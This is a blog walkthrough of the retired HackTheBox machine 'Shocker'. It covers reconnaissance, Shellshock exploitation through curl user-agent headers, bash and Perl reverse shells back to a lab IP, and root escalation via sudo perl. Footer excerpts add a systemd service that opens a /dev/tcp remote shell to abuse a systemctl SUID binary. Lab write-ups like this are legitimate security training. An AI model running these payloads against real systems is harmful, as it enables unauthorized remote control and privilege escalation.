Skip to main content

HackTheBox - Shocker - Retired - Update

HacktheBox - Shocker - Retired 



Recon

I've been using threader3000 for my recon scan lately. It does a super quick threaded up/down scan on all TCP ports then recommends a nmap scan based on those results. It saves the nmap scan as an xml file for you too.


I like to convert the XML to HTML to make it easy to read.


xsltproc ./shocker.htb/shocker.htb.xml -o ./shocker.html





Just two ports open, nmap says it's an ubuntu box.


Port 80         Apache         2.4.18

Port         2222 OpenSSH 7.2p2



That's a non-standard port for SSH usually we see it on the default port of 22.


Let's see what apache is serving us.



Weird. The source code doesn't give us much to go on either.


Let's try a brute force scan on port 80 to see if we can find some other pages or directories that might give us more.



We didn't get much back from dirb except two things that we don't have access to



So this image got me thinking, I'm sure how you would get here without previous knowledge but

The image looks like some sort of bug…. Being bashed.  As in Bash Bug… and then the name of the box shocker…..


Shellshocker bash bug


https://github.com/opsxcq/exploit-CVE-2014-6271


I wonder if we can find a .sh file on here we might be able to leverage.


We can tell dirb to search for specific extensions using the -X switch



Bingo


user.sh

Content-Type: text/plain

Just an uptime test script

20:18:48 up  1:30,  0 users,  load average: 0.00, 0.00, 0.00




Exploit



Ok so if this susceptible to shellshock we should be able to modify this to get us /etc/passwd


curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable



So ours would look like this


curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://shocker.htb/cgi-bin/user.sh





Yeah boy… we we found a potential path to a foothold on shocker



Let's see if we can get a pingback from shocker.


First let's setup tcpdump to capture any icmp traffic on our VPN tunnel


tcpdump -i tun0 -n icmp



Then we just modify our curl request. To do ping -c4 10.10.14.19


curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'ping -c 4 10.10.14.19'" \
> http://shocker.htb/cgi-bin/user.sh



We do, awesome


Let's start with setting up our listener on our kali box


nc -lnvp 5555


I tried modifying this to do a netcat connection back but I never caught a shell.


So I googled reverse shells and went to payloadallthethings to find some different shells to try


https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md


Now let's try a bash reverse shell shell which looks like this

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1


Modify this to be our IP and Port


bash -i >& /dev/tcp/10.10.14.19/5555 0>&1


And replace the command section of our curl request so it would look like 

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/5555 0>&1'" \
http://shocker.htb/cgi-bin/user.sh


And we finally caught our shell, our foothold





From here we can get the user.txt 


Now we need to figure out how to escalate to root..


I used updog on mykali box to serv linpeas.sh over to shocker.


wget http://10.10.14.19:9090/linpeas.sh


Then gave linpeas execution rights


chmod +x ./linpeas.sh


Linpeas is a script that polls alot of information about the system and highlight potential vectors on privilege escalation. I use this on almost all linux boxes.


https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS


Check out what it found.







Shelly can run perl as root without a password ( which is handy since we don't know what their password is )


And back on the payloadallthethings site there is a perl based reverse shell we can try to use.


perl -e 'use Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



So let's setup a new listener on kali to try and catch this shell


nc -lncp 5566



Then we can just modify their perl command to be our ip and new port we are listening on


perl -e 'use Socket;$i="10.10.14.19";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



Then throw a sudo in front of it so it runs as root.

shelly@Shocker:$ sudo perl -e 'use Socket;$i="10.10.14.19";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
<en(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};



And just like that we are root



 And we can cat out the root flag.







Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The